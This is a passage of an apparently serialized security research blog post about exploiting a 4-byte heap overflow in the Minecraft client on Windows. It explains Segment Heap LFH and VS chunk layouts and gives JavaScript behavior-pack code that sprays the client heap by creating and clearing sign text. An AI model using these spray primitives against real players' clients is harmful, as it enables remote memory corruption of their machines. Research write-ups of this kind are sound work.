Heap",{"type":25,"tag":26,"props":162256,"children":162257},{},[162258,162260,162266],{"type":30,"value":162259},"Low Fragmentation Heap (LFH) services allocations of ",{"type":25,"tag":264,"props":162261,"children":162263},{"className":162262},[],[162264],{"type":30,"value":162265},"0x3ff0",{"type":30,"value":162267}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":25,"tag":26,"props":162269,"children":162270},{},[162271],{"type":30,"value":162272},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":25,"tag":7764,"props":162274,"children":162276},{"code":162275},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[162277],{"type":25,"tag":264,"props":162278,"children":162279},{"__ignoreMap":7},[162280],{"type":30,"value":162275},{"type":25,"tag":26,"props":162282,"children":162283},{},[162284],{"type":30,"value":162285},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":25,"tag":2352,"props":162287,"children":162289},{"id":162288},"variable-size",[162290],{"type":30,"value":162291},"Variable Size",{"type":25,"tag":26,"props":162293,"children":162294},{},[162295,162297,162303,162305,162311],{"type":30,"value":162296},"This subsegment is used for allocation sizes from ",{"type":25,"tag":264,"props":162298,"children":162300},{"className":162299},[],[162301],{"type":30,"value":162302},"0x4000",{"type":30,"value":162304}," and up to ",{"type":25,"tag":264,"props":162306,"children":162308},{"className":162307},[],[162309],{"type":30,"value":162310},"0x20_000",{"type":30,"value":162312},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":25,"tag":7764,"props":162314,"children":162316},{"code":162315},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[162317],{"type":25,"tag":264,"props":162318,"children":162319},{"__ignoreMap":7},[162320],{"type":30,"value":162315},{"type":25,"tag":26,"props":162322,"children":162323},{},[162324,162326,162332],{"type":30,"value":162325},"The header, ",{"type":25,"tag":264,"props":162327,"children":162329},{"className":162328},[],[162330],{"type":30,"value":162331},"HEAP_VS_CHUNK_HEADER",{"type":30,"value":162333},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":25,"tag":92,"props":162335,"children":162336},{},[],{"type":25,"tag":26,"props":162338,"children":162339},{},[162340],{"type":30,"value":162341},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":25,"tag":26,"props":162343,"children":162344},{},[162345,162347,162354],{"type":30,"value":162346},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":25,"tag":83,"props":162348,"children":162351},{"href":162349,"rel":162350},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[9066],[162352],{"type":30,"value":162353},"technique published",{"type":30,"value":162355}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":25,"tag":26,"props":162357,"children":162358},{},[162359],{"type":30,"value":162360},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":25,"tag":26,"props":162362,"children":162363},{},[162364],{"type":30,"value":162365},"In either case, we needed a way to spray the heap before we could proceed.",{"type":25,"tag":247,"props":162367,"children":162369},{"id":162368},"finding-a-way-to-spray-the-heap",[162370],{"type":30,"value":162371},"Finding a Way to Spray the Heap",{"type":25,"tag":26,"props":162373,"children":162374},{},[162375],{"type":30,"value":162376},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":25,"tag":108,"props":162378,"children":162379},{},[162380,162385,162390,162395],{"type":25,"tag":112,"props":162381,"children":162382},{},[162383],{"type":30,"value":162384},"The size of the allocation",{"type":25,"tag":112,"props":162386,"children":162387},{},[162388],{"type":30,"value":162389},"The data written into the allocated buffer",{"type":25,"tag":112,"props":162391,"children":162392},{},[162393],{"type":30,"value":162394},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":25,"tag":112,"props":162396,"children":162397},{},[162398],{"type":30,"value":162399},"The number of created objects (preferably unbounded)",{"type":25,"tag":26,"props":162401,"children":162402},{},[162403],{"type":30,"value":162404},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":25,"tag":2352,"props":162406,"children":162408},{"id":162407},"minecraft-signs",[162409],{"type":30,"value":162410},"Minecraft Signs",{"type":25,"tag":26,"props":162412,"children":162413},{},[162414],{"type":30,"value":162415},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":25,"tag":26,"props":162417,"children":162418},{},[162419,162421,162427],{"type":30,"value":162420},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":25,"tag":264,"props":162422,"children":162424},{"className":162423},[],[162425],{"type":30,"value":162426},"std::string",{"type":30,"value":1860},{"type":25,"tag":26,"props":162429,"children":162430},{},[162431,162433,162438],{"type":30,"value":162432},"In Microsoft’s C++ implementation, ",{"type":25,"tag":264,"props":162434,"children":162436},{"className":162435},[],[162437],{"type":30,"value":162426},{"type":30,"value":162439}," is structured roughly as follows:",{"type":25,"tag":7764,"props":162441,"children":162443},{"code":162442,"language":13243,"meta":7,"className":29637,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[162444],{"type":25,"tag":264,"props":162445,"children":162446},{"__ignoreMap":7},[162447,162458,162465,162477,162493,162517,162524,162535,162547],{"type":25,"tag":271,"props":162448,"children":162449},{"class":13593,"line":13594},[162450,162454],{"type":25,"tag":271,"props":162451,"children":162452},{"style":14289},[162453],{"type":30,"value":22524},{"type":25,"tag":271,"props":162455,"children":162456},{"style":13625},[162457],{"type":30,"value":98157},{"type":25,"tag":271,"props":162459,"children":162460},{"class":13593,"line":11641},[162461],{"type":25,"tag":271,"props":162462,"children":162463},{"style":13625},[162464],{"type":30,"value":24005},{"type":25,"tag":271,"props":162466,"children":162467},{"class":13593,"line":14354},[162468,162473],{"type":25,"tag":271,"props":162469,"children":162470},{"style":14289},[162471],{"type":30,"value":162472},"    union",{"type":25,"tag":271,"props":162474,"children":162475},{"style":13625},[162476],{"type":30,"value":16431},{"type":25,"tag":271,"props":162478,"children":162479},{"class":13593,"line":14391},[162480,162485,162489],{"type":25,"tag":271,"props":162481,"children":162482},{"style":14289},[162483],{"type":30,"value":162484},"        char",{"type":25,"tag":271,"props":162486,"children":162487},{"style":13603},[162488],{"type":30,"value":17702},{"type":25,"tag":271,"props":162490,"children":162491},{"style":13625},[162492],{"type":30,"value":29679},{"type":25,"tag":271,"props":162494,"children":162495},{"class":13593,"line":14400},[162496,162500,162505,162509,162513],{"type":25,"tag":271,"props":162497,"children":162498},{"style":14289},[162499],{"type":30,"value":162484},{"type":25,"tag":271,"props":162501,"children":162502},{"style":13598},[162503],{"type":30,"value":162504}," buf",{"type":25,"tag":271,"props":162506,"children":162507},{"style":13625},[162508],{"type":30,"value":5604},{"type":25,"tag":271,"props":162510,"children":162511},{"style":16187},[162512],{"type":30,"value":53958},{"type":25,"tag":271,"props":162514,"children":162515},{"style":13625},[162516],{"type":30,"value":44686},{"type":25,"tag":271,"props":162518,"children":162519},{"class":13593,"line":16406},[162520],{"type":25,"tag":271,"props":162521,"children":162522},{"style":13625},[162523],{"type":30,"value":52107},{"type":25,"tag":271,"props":162525,"children":162526},{"class":13593,"line":16434},[162527,162531],{"type":25,"tag":271,"props":162528,"children":162529},{"style":14289},[162530],{"type":30,"value":29687},{"type":25,"tag":271,"props":162532,"children":162533},{"style":13625},[162534],{"type":30,"value":137042},{"type":25,"tag":271,"props":162536,"children":162537},{"class":13593,"line":16447},[162538,162542],{"type":25,"tag":271,"props":162539,"children":162540},{"style":14289},[162541],{"type":30,"value":29687},{"type":25,"tag":271,"props":162543,"children":162544},{"style":13625},[162545],{"type":30,"value":162546}," capacity;\n",{"type":25,"tag":271,"props":162548,"children":162549},{"class":13593,"line":16465},[162550],{"type":25,"tag":271,"props":162551,"children":162552},{"style":13625},[162553],{"type":30,"value":29700},{"type":25,"tag":26,"props":162555,"children":162556},{},[162557,162559,162565,162567,162572],{"type":30,"value":162558},"We are primarily interested in the union: ",{"type":25,"tag":264,"props":162560,"children":162562},{"className":162561},[],[162563],{"type":30,"value":162564},"buf",{"type":30,"value":162566}," is used when the string fits within 16 bytes, while ",{"type":25,"tag":264,"props":162568,"children":162570},{"className":162569},[],[162571],{"type":30,"value":27070},{"type":30,"value":162573}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":25,"tag":26,"props":162575,"children":162576},{},[162577],{"type":30,"value":162578},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":25,"tag":26,"props":162580,"children":162581},{},[162582],{"type":30,"value":162583},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":25,"tag":2352,"props":162585,"children":162587},{"id":162586},"spraying-with-server-side-scripting",[162588],{"type":30,"value":162589},"Spraying With Server-Side Scripting",{"type":25,"tag":26,"props":162591,"children":162592},{},[162593],{"type":30,"value":162594},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":25,"tag":26,"props":162596,"children":162597},{},[162598,162600,162606,162607,162613],{"type":30,"value":162599},"We wrote ",{"type":25,"tag":264,"props":162601,"children":162603},{"className":162602},[],[162604],{"type":30,"value":162605},"alloc",{"type":30,"value":12218},{"type":25,"tag":264,"props":162608,"children":162610},{"className":162609},[],[162611],{"type":30,"value":162612},"free",{"type":30,"value":162614}," helpers that trigger an allocation in the client and free it on demand:",{"type":25,"tag":7764,"props":162616,"children":162618},{"code":162617,"language":48727,"meta":7,"className":48725,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[162619],{"type":25,"tag":264,"props":162620,"children":162621},{"__ignoreMap":7},[162622,162630,162672,162705,162750,162762,162769,162776,162837,162864,162879,162886,162893,162922,162937,162944,162951,162959,162983,163034,163045,163052,163059,163096,163123,163130,163159,163189,163196,163223],{"type":25,"tag":271,"props":162623,"children":162624},{"class":13593,"line":13594},[162625],{"type":25,"tag":271,"props":162626,"children":162627},{"style":14385},[162628],{"type":30,"value":162629},"// Allocate sign text in the client\n",{"type":25,"tag":271,"props":162631,"children":162632},{"class":13593,"line":11641},[162633,162637,162642,162646,162650,162654,162659,162663,162668],{"type":25,"tag":271,"props":162634,"children":162635},{"style":14289},[162636],{"type":30,"value":44489},{"type":25,"tag":271,"props":162638,"children":162639},{"style":13620},[162640],{"type":30,"value":162641}," alloc",{"type":25,"tag":271,"props":162643,"children":162644},{"style":13625},[162645],{"type":30,"value":394},{"type":25,"tag":271,"props":162647,"children":162648},{"style":13598},[162649],{"type":30,"value":136700},{"type":25,"tag":271,"props":162651,"children":162652},{"style":13625},[162653],{"type":30,"value":44},{"type":25,"tag":271,"props":162655,"children":162656},{"style":13598},[162657],{"type":30,"value":162658},"fill",{"type":25,"tag":271,"props":162660,"children":162661},{"style":13603},[162662],{"type":30,"value":1065},{"type":25,"tag":271,"props":162664,"children":162665},{"style":17388},[162666],{"type":30,"value":162667},"\"A\"",{"type":25,"tag":271,"props":162669,"children":162670},{"style":13625},[162671],{"type":30,"value":27925},{"type":25,"tag":271,"props":162673,"children":162674},{"class":13593,"line":14354},[162675,162679,162683,162687,162692,162696,162701],{"type":25,"tag":271,"props":162676,"children":162677},{"style":16171},[162678],{"type":30,"value":16174},{"type":25,"tag":271,"props":162680,"children":162681},{"style":13625},[162682],{"type":30,"value":16213},{"type":25,"tag":271,"props":162684,"children":162685},{"style":14289},[162686],{"type":30,"value":24912},{"type":25,"tag":271,"props":162688,"children":162689},{"style":13598},[162690],{"type":30,"value":162691}," sign",{"type":25,"tag":271,"props":162693,"children":162694},{"style":14289},[162695],{"type":30,"value":23487},{"type":25,"tag":271,"props":162697,"children":162698},{"style":13598},[162699],{"type":30,"value":162700}," signs",{"type":25,"tag":271,"props":162702,"children":162703},{"style":13625},[162704],{"type":30,"value":27925},{"type":25,"tag":271,"props":162706,"children":162707},{"class":13593,"line":14391},[162708,162712,162716,162721,162725,162730,162734,162738,162742,162746],{"type":25,"tag":271,"props":162709,"children":162710},{"style":16171},[162711],{"type":30,"value":16412},{"type":25,"tag":271,"props":162713,"children":162714},{"style":13625},[162715],{"type":30,"value":16213},{"type":25,"tag":271,"props":162717,"children":162718},{"style":13598},[162719],{"type":30,"value":162720},"sign",{"type":25,"tag":271,"props":162722,"children":162723},{"style":13625},[162724],{"type":30,"value":1860},{"type":25,"tag":271,"props":162726,"children":162727},{"style":13598},[162728],{"type":30,"value":162729},"allocated",{"type":25,"tag":271,"props":162731,"children":162732},{"style":13603},[162733],{"type":30,"value":36807},{"type":25,"tag":271,"props":162735,"children":162736},{"style":13598},[162737],{"type":30,"value":162691},{"type":25,"tag":271,"props":162739,"children":162740},{"style":13625},[162741],{"type":30,"value":1860},{"type":25,"tag":271,"props":162743,"children":162744},{"style":13598},[162745],{"type":30,"value":145405},{"type":25,"tag":271,"props":162747,"children":162748},{"style":13625},[162749],{"type":30,"value":27925},{"type":25,"tag":271,"props":162751,"children":162752},{"class":13593,"line":14400},[162753,162758],{"type":25,"tag":271,"props":162754,"children":162755},{"style":16171},[162756],{"type":30,"value":162757},"            continue",{"type":25,"tag":271,"props":162759,"children":162760},{"style":13625},[162761],{"type":30,"value":16165},{"type":25,"tag":271,"props":162763,"children":162764},{"class":13593,"line":16406},[162765],{"type":25,"tag":271,"props":162766,"children":162767},{"style":13625},[162768],{"type":30,"value":16492},{"type":25,"tag":271,"props":162770,"children":162771},{"class":13593,"line":16434},[162772],{"type":25,"tag":271,"props":162773,"children":162774},{"emptyLinePlaceholder":18},[162775],{"type":30,"value":16829},{"type":25,"tag":271,"props":162777,"children":162778},{"class":13593,"line":16447},[162779,162784,162788,162792,162796,162801,162805,162809,162813,162817,162821,162825,162829,162833],{"type":25,"tag":271,"props":162780,"children":162781},{"style":13598},[162782],{"type":30,"value":162783},"        sign",{"type":25,"tag":271,"props":162785,"children":162786},{"style":13625},[162787],{"type":30,"value":1860},{"type":25,"tag":271,"props":162789,"children":162790},{"style":13598},[162791],{"type":30,"value":162720},{"type":25,"tag":271,"props":162793,"children":162794},{"style":13625},[162795],{"type":30,"value":1860},{"type":25,"tag":271,"props":162797,"children":162798},{"style":13620},[162799],{"type":30,"value":162800},"setText",{"type":25,"tag":271,"props":162802,"children":162803},{"style":13625},[162804],{"type":30,"value":394},{"type":25,"tag":271,"props":162806,"children":162807},{"style":13598},[162808],{"type":30,"value":162658},{"type":25,"tag":271,"props":162810,"children":162811},{"style":13625},[162812],{"type":30,"value":1860},{"type":25,"tag":271,"props":162814,"children":162815},{"style":13620},[162816],{"type":30,"value":145655},{"type":25,"tag":271,"props":162818,"children":162819},{"style":13625},[162820],{"type":30,"value":394},{"type":25,"tag":271,"props":162822,"children":162823},{"style":13598},[162824],{"type":30,"value":136700},{"type":25,"tag":271,"props":162826,"children":162827},{"style":13603},[162828],{"type":30,"value":64371},{"type":25,"tag":271,"props":162830,"children":162831},{"style":16187},[162832],{"type":30,"value":17654},{"type":25,"tag":271,"props":162834,"children":162835},{"style":13625},[162836],{"type":30,"value":20346},{"type":25,"tag":271,"props":162838,"children":162839},{"class":13593,"line":16465},[162840,162844,162848,162852,162856,162860],{"type":25,"tag":271,"props":162841,"children":162842},{"style":13598},[162843],{"type":30,"value":162783},{"type":25,"tag":271,"props":162845,"children":162846},{"style":13625},[162847],{"type":30,"value":1860},{"type":25,"tag":271,"props":162849,"children":162850},{"style":13598},[162851],{"type":30,"value":162729},{"type":25,"tag":271,"props":162853,"children":162854},{"style":13603},[162855],{"type":30,"value":16155},{"type":25,"tag":271,"props":162857,"children":162858},{"style":14289},[162859],{"type":30,"value":25594},{"type":25,"tag":271,"props":162861,"children":162862},{"style":13625},[162863],{"type":30,"value":16165},{"type":25,"tag":271,"props":162865,"children":162866},{"class":13593,"line":16486},[162867,162871,162875],{"type":25,"tag":271,"props":162868,"children":162869},{"style":16171},[162870],{"type":30,"value":28866},{"type":25,"tag":271,"props":162872,"children":162873},{"style":13598},[162874],{"type":30,"value":162691},{"type":25,"tag":271,"props":162876,"children":162877},{"style":13625},[162878],{"type":30,"value":16165},{"type":25,"tag":271,"props":162880,"children":162881},{"class":13593,"line":16495},[162882],{"type":25,"tag":271,"props":162883,"children":162884},{"style":13625},[162885],{"type":30,"value":16501},{"type":25,"tag":271,"props":162887,"children":162888},{"class":13593,"line":16744},[162889],{"type":25,"tag":271,"props":162890,"children":162891},{"emptyLinePlaceholder":18},[162892],{"type":30,"value":16829},{"type":25,"tag":271,"props":162894,"children":162895},{"class":13593,"line":16761},[162896,162900,162904,162909,162913,162918],{"type":25,"tag":271,"props":162897,"children":162898},{"style":13598},[162899],{"type":30,"value":44551},{"type":25,"tag":271,"props":162901,"children":162902},{"style":13625},[162903],{"type":30,"value":1860},{"type":25,"tag":271,"props":162905,"children":162906},{"style":13620},[162907],{"type":30,"value":162908},"warn",{"type":25,"tag":271,"props":162910,"children":162911},{"style":13625},[162912],{"type":30,"value":394},{"type":25,"tag":271,"props":162914,"children":162915},{"style":17388},[162916],{"type":30,"value":162917},"\"No more allocs\"",{"type":25,"tag":271,"props":162919,"children":162920},{"style":13625},[162921],{"type":30,"value":13665},{"type":25,"tag":271,"props":162923,"children":162924},{"class":13593,"line":16778},[162925,162929,162933],{"type":25,"tag":271,"props":162926,"children":162927},{"style":16171},[162928],{"type":30,"value":30111},{"type":25,"tag":271,"props":162930,"children":162931},{"style":14289},[162932],{"type":30,"value":52448},{"type":25,"tag":271,"props":162934,"children":162935},{"style":13625},[162936],{"type":30,"value":16165},{"type":25,"tag":271,"props":162938,"children":162939},{"class":13593,"line":16791},[162940],{"type":25,"tag":271,"props":162941,"children":162942},{"style":13625},[162943],{"type":30,"value":17058},{"type":25,"tag":271,"props":162945,"children":162946},{"class":13593,"line":16800},[162947],{"type":25,"tag":271,"props":162948,"children":162949},{"emptyLinePlaceholder":18},[162950],{"type":30,"value":16829},{"type":25,"tag":271,"props":162952,"children":162953},{"class":13593,"line":16823},[162954],{"type":25,"tag":271,"props":162955,"children":162956},{"style":14385},[162957],{"type":30,"value":162958},"// Free an allocated sign in the client\n",{"type":25,"tag":271,"props":162960,"children":162961},{"class":13593,"line":16832},[162962,162966,162971,162975,162979],{"type":25,"tag":271,"props":162963,"children":162964},{"style":14289},[162965],{"type":30,"value":44489},{"type":25,"tag":271,"props":162967,"children":162968},{"style":13620},[162969],{"type":30,"value":162970}," free",{"type":25,"tag":271,"props":162972,"children":162973},{"style":13625},[162974],{"type":30,"value":394},{"type":25,"tag":271,"props":162976,"children":162977},{"style":13598},[162978],{"type":30,"value":162720},{"type":25,"tag":271,"props":162980,"children":162981},{"style":13625},[162982],{"type":30,"value":27925},{"type":25,"tag":271,"props":162984,"children":162985},{"class":13593,"line":16841},[162986,162990,162994,162998,163002,163006,163010,163014,163018,163022,163026,163030],{"type":25,"tag":271,"props":162987,"children":162988},{"style":16171},[162989],{"type":30,"value":25404},{"type":25,"tag":271,"props":162991,"children":162992},{"style":13625},[162993],{"type":30,"value":16213},{"type":25,"tag":271,"props":162995,"children":162996},{"style":13598},[162997],{"type":30,"value":162720},{"type":25,"tag":271,"props":162999,"children":163000},{"style":13603},[163001],{"type":30,"value":16422},{"type":25,"tag":271,"props":163003,"children":163004},{"style":14289},[163005],{"type":30,"value":52448},{"type":25,"tag":271,"props":163007,"children":163008},{"style":13603},[163009],{"type":30,"value":36807},{"type":25,"tag":271,"props":163011,"children":163012},{"style":13598},[163013],{"type":30,"value":162691},{"type":25,"tag":271,"props":163015,"children":163016},{"style":13625},[163017],{"type":30,"value":1860},{"type":25,"tag":271,"props":163019,"children":163020},{"style":13598},[163021],{"type":30,"value":162729},{"type":25,"tag":271,"props":163023,"children":163024},{"style":13603},[163025],{"type":30,"value":16422},{"type":25,"tag":271,"props":163027,"children":163028},{"style":14289},[163029],{"type":30,"value":22179},{"type":25,"tag":271,"props":163031,"children":163032},{"style":13625},[163033],{"type":30,"value":27925},{"type":25,"tag":271,"props":163035,"children":163036},{"class":13593,"line":16907},[163037,163041],{"type":25,"tag":271,"props":163038,"children":163039},{"style":16171},[163040],{"type":30,"value":28866},{"type":25,"tag":271,"props":163042,"children":163043},{"style":13625},[163044],{"type":30,"value":16165},{"type":25,"tag":271,"props":163046,"children":163047},{"class":13593,"line":16915},[163048],{"type":25,"tag":271,"props":163049,"children":163050},{"style":13625},[163051],{"type":30,"value":16501},{"type":25,"tag":271,"props":163053,"children":163054},{"class":13593,"line":16945},[163055],{"type":25,"tag":271,"props":163056,"children":163057},{"emptyLinePlaceholder":18},[163058],{"type":30,"value":16829},{"type":25,"tag":271,"props":163060,"children":163061},{"class":13593,"line":16953},[163062,163067,163071,163075,163079,163083,163087,163092],{"type":25,"tag":271,"props":163063,"children":163064},{"style":13598},[163065],{"type":30,"value":163066},"    sign",{"type":25,"tag":271,"props":163068,"children":163069},{"style":13625},[163070],{"type":30,"value":1860},{"type":25,"tag":271,"props":163072,"children":163073},{"style":13598},[163074],{"type":30,"value":162720},{"type":25,"tag":271,"props":163076,"children":163077},{"style":13625},[163078],{"type":30,"value":1860},{"type":25,"tag":271,"props":163080,"children":163081},{"style":13620},[163082],{"type":30,"value":162800},{"type":25,"tag":271,"props":163084,"children":163085},{"style":13625},[163086],{"type":30,"value":394},{"type":25,"tag":271,"props":163088,"children":163089},{"style":17388},[163090],{"type":30,"value":163091},"\"\"",{"type":25,"tag":271,"props":163093,"children":163094},{"style":13625},[163095],{"type":30,"value":13665},{"type":25,"tag":271,"props":163097,"children":163098},{"class":13593,"line":16984},[163099,163103,163107,163111,163115,163119],{"type":25,"tag":271,"props":163100,"children":163101},{"style":13598},[163102],{"type":30,"value":163066},{"type":25,"tag":271,"props":163104,"children":163105},{"style":13625},[163106],{"type":30,"value":1860},{"type":25,"tag":271,"props":163108,"children":163109},{"style":13598},[163110],{"type":30,"value":162729},{"type":25,"tag":271,"props":163112,"children":163113},{"style":13603},[163114],{"type":30,"value":16155},{"type":25,"tag":271,"props":163116,"children":163117},{"style":14289},[163118],{"type":30,"value":22179},{"type":25,"tag":271,"props":163120,"children":163121},{"style":13625},[163122],{"type":30,"value":16165},{"type":25,"tag":271,"props":163124,"children":163125},{"class":13593,"line":16992},[163126],{"type":25,"tag":271,"props":163127,"children":163128},{"emptyLinePlaceholder":18},[163129],{"type":30,"value":16829},{"type":25,"tag":271,"props":163131,"children":163132},{"class":13593,"line":17052},[163133,163137,163141,163146,163150,163155],{"type":25,"tag":271,"props":163134,"children":163135},{"style":13598},[163136],{"type":30,"value":163066},{"type":25,"tag":271,"props":163138,"children":163139},{"style":13625},[163140],{"type":30,"value":1860},{"type":25,"tag":271,"props":163142,"children":163143},{"style":13598},[163144],{"type":30,"value":163145},"block",{"type":25,"tag":271,"props":163147,"children":163148},{"style":13625},[163149],{"type":30,"value":1860},{"type":25,"tag":271,"props":163151,"children":163152},{"style":13620},[163153],{"type":30,"value":163154},"setPermutation",{"type":25,"tag":271,"props":163156,"children":163157},{"style":13625},[163158],{"type":30,"value":16609},{"type":25,"tag":271,"props":163160,"children":163161},{"class":13593,"line":22168},[163162,163167,163171,163176,163180,163185],{"type":25,"tag":271,"props":163163,"children":163164},{"style":13598},[163165],{"type":30,"value":163166},"        BlockPermutation",{"type":25,"tag":271,"props":163168,"children":163169},{"style":13625},[163170],{"type":30,"value":1860},{"type":25,"tag":271,"props":163172,"children":163173},{"style":13620},[163174],{"type":30,"value":163175},"resolve",{"type":25,"tag":271,"props":163177,"children":163178},{"style":13625},[163179],{"type":30,"value":394},{"type":25,"tag":271,"props":163181,"children":163182},{"style":17388},[163183],{"type":30,"value":163184},"\"minecraft:air\"",{"type":25,"tag":271,"props":163186,"children":163187},{"style":13625},[163188],{"type":30,"value":16299},{"type":25,"tag":271,"props":163190,"children":163191},{"class":13593,"line":22186},[163192],{"type":25,"tag":271,"props":163193,"children":163194},{"style":13625},[163195],{"type":30,"value":56770},{"type":25,"tag":271,"props":163197,"children":163198},{"class":13593,"line":22231},[163199,163203,163207,163211,163215,163219],{"type":25,"tag":271,"props":163200,"children":163201},{"style":13598},[163202],{"type":30,"value":163066},{"type":25,"tag":271,"props":163204,"children":163205},{"style":13625},[163206],{"type":30,"value":1860},{"type":25,"tag":271,"props":163208,"children":163209},{"style":13598},[163210],{"type":30,"value":145405},{"type":25,"tag":271,"props":163212,"children":163213},{"style":13603},[163214],{"type":30,"value":16155},{"type":25,"tag":271,"props":163216,"children":163217},{"style":14289},[163218],{"type":30,"value":25594},{"type":25,"tag":271,"props":163220,"children":163221},{"style":13625},[163222],{"type":30,"value":16165},{"type":25,"tag":271,"props":163224,"children":163225},{"class":13593,"line":22337},[163226],{"type":25,"tag":271,"props":163227,"children":163228},{"style":13625},[163229],{"type":30,"value":17058},{"type":25,"tag":26,"props":163231,"children":163232},{},[163233,163235,163241],{"type":30,"value":163234},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":25,"tag":264,"props":163236,"children":163238},{"className":163237},[],[163239],{"type":30,"value":163240},"signs",{"type":30,"value":163242}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":25,"tag":7764,"props":163244,"children":163246},{"code":163245,"language":48727,"meta":7,"className":48725,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[163247],{"type":25,"tag":264,"props":163248,"children":163249},{"__ignoreMap":7},[163250,163265,163272,163288,163305,163312,163374,163436,163443,163459,163467,163489,163515,163540,163560,163589,163601,163608,163616,163638,163672,163679,163699,163715,163731,163747,163759,163767,163774,163781,163788,163795,163811,163826,163833,163892,163951,163958,163973,163981,164009,164037,164045,164052,164071,164098,164105,164112,164127,164134,164141,164148,164155,164211,164223,164230,164237,164298,164310],{"type":25,"tag":271,"props":163251,"children":163252},{"class":13593,"line":13594},[163253,163257,163261],{"type":25,"tag":271,"props":163254,"children":163255},{"style":14289},[163256],{"type":30,"value":24912},{"type":25,"tag":271,"props":163258,"children":163259},{"style":13598},[163260],{"type":30,"value":162700},{"type":25,"tag":271,"props":163262,"children":163263},{"style":13625},[163264],{"type":30,"value":16165},{"type":25,"tag":271,"props":163266,"children":163267},{"class":13593,"line":11641},[163268],{"type":25,"tag":271,"props":163269,"children":163270},{"emptyLinePlaceholder":18},[163271],{"type":30,"value":16829},{"